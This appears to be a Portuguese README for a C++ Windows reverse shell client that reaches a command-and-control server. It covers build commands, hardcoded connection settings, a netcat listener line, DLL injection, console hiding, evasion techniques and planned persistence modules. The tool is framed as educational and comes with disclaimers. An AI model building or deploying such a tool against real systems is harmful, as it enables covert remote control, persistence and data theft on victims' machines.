Este projeto implementa um cliente de reverse shell modular para sistemas Windows usando princípios modernos de design em C++. A aplicação estabelece uma conexão com um servidor de comando e controle (C2), executa comandos recebidos e retorna a saída. Projetado para fins educacionais, esta implementação demonstra práticas seguras de codificação, gerenciamento de recursos e técnicas de segurança ofensiva.
Aviso: Esta ferramenta destina-se apenas a fins educacionais e testes de penetração autorizados. O uso não autorizado é ilegal.
- Arquitetura modular com separação de responsabilidades
- Gerenciamento de recursos baseado em RAII para sockets e handles
- Tratamento seguro de exceções com relatórios de erro detalhados
- Capacidade de injeção de processos para injeção de DLL
- Ocultação de console para operação discreta
- Comunicação baseada em TCP com execução de comandos
- Propagação de erros entre componentes via exceções personalizadas
+----------------+ +-----------------+ +---------------+
| main.cpp |------>| ReverseShell |<------| CommandExecutor
+----------------+ +-----------------+ +---------------+
| | |
| | |
v v v
+----------------+ +-----------------+ +---------------+
| SystemUtils | | SocketHandler | | ProcessInjector
+----------------+ +-----------------+ +---------------+
| |
| |
v v
+----------------+ +-----------------+
| WinAPIException| | WinSockManager |
+----------------+ +-----------------+
- WinAPIException - Classe de exceção personalizada para erros da API Windows
- WinSockManager - Wrapper RAII para inicialização/limpeza do Winsock
- SocketHandler - Gerenciamento seguro de sockets com semântica de movimento
- CommandExecutor - Interface segura para execução de comandos
- ProcessInjector - Injeção de DLL com gerenciamento de recursos com escopo
- ReverseShell - Lógica central da reverse shell
- SystemUtils - Utilitários de manipulação do sistema
- Windows SDK (versão 10.0+)
- Winsock 2.2 (ws2_32.lib)
- Compilador compatível com C++17
- Bibliotecas da API Windows
- MinGW-w64 (g++ 9.0+)
- MSVC (Visual Studio 2019+)
g++ -o reverse_shell.exe main.cpp WinAPIException.cpp WinSockManager.cpp \
SocketHandler.cpp CommandExecutor.cpp ProcessInjector.cpp \
ReverseShell.cpp SystemUtils.cpp -lws2_32 -static -O2 -scl /EHsc /O2 /std:c++17 /Fe:reverse_shell.exe main.cpp WinAPIException.cpp \
WinSockManager.cpp SocketHandler.cpp CommandExecutor.cpp \
ProcessInjector.cpp ReverseShell.cpp SystemUtils.cpp ws2_32.libModifique ReverseShell.h para configurar os parâmetros de conexão:
static constexpr int DEFAULT_PORT = 4444; // Porta do servidor
const char* DEFAULT_IP = "192.168.1.100"; // IP do servidor
static constexpr int DEFAULT_BUFLEN = 4096; // Tamanho do buffer- Inicie um listener na máquina do atacante:
nc -lvp 4444
- Execute o binário compilado no sistema alvo
- Envie comandos através do listener:
> whoami /all > systeminfo > net user
reverse-shell/
├── include/ # Cabeçalhos públicos
│ ├── CommandExecutor.h
│ ├── ProcessInjector.h
│ ├── ReverseShell.h
│ ├── SocketHandler.h
│ ├── SystemUtils.h
│ ├── WinAPIException.h
│ └── WinSockManager.h
├── src/ # Arquivos de implementação
│ ├── CommandExecutor.cpp
│ ├── ProcessInjector.cpp
│ ├── ReverseShell.cpp
│ ├── SocketHandler.cpp
│ ├── SystemUtils.cpp
│ ├── WinAPIException.cpp
│ └── WinSockManager.cpp
├── main.cpp # Ponto de entrada
└── CMakeLists.txt # Configuração de build (opcional)
- Validação de Entrada: Toda entrada de rede é limitada por buffer
- Encapsulamento de Recursos: Padrão RAII previne vazamentos
- Isolamento de Erros: Tratamento de erros específico por componente
- Segurança de Memória: Buffers baseados em vetor previnem overflows
- Autorização Explícita: Obtenha permissão por escrito antes de testar
- Ambientes Controlados: Use redes isoladas e máquinas virtuais
- Manuseio de Dados: Evite informações sensíveis durante os testes
- Divulgação Responsável: Reporte vulnerabilidades descobertas de forma responsável
- Evasão de Análise Estática:
- Ofuscação de strings
- Aplanamento de fluxo de controle
- Evasão Comportamental:
- Indireção de chamadas de API
- Técnicas de ofuscação de sleep
- Evasão de Rede:
- Criptografia SSL/TLS
- Mimetismo de protocolo
// INSEGURO: Ponteiros crus sem RAII
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// ... código ...
closesocket(s); // Possível vazamento se ocorrer exceção
// SEGURO: Uso de wrapper RAII
SocketHandler safe_socket(::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP));- Módulo de Persistência:
class PersistenceManager { public: static void install(); static void uninstall(); };
- Transferência de Arquivos:
class FileTransfer { public: static void upload(SocketHandler& socket, const std::string& path); static void download(SocketHandler& socket, const std::string& path); };
- Comunicação Criptografada:
class SecureChannel { public: void encrypt(BYTE* data, size_t size); void decrypt(BYTE* data, size_t size); };
Este projeto educacional é licenciado sob a Academic Free License v3.0:
- Permite uso educacional e de pesquisa
- Proíbe uso comercial e malicioso
- Exige atribuição
- Não inclui garantias
- Reporte problemas no rastreador de issues
- Envie PRs para o branch de desenvolvimento
- Siga as diretrizes de codificação segura
- Inclua testes abrangentes
- Documente todas as novas funcionalidades
Aviso Legal: Este projeto demonstra conceitos de segurança para fins defensivos. Os autores não se responsabilizam por uso não autorizado ou malicioso. Sempre cumpra as leis locais e obtenha autorização adequada antes de usar qualquer ferramenta de segurança.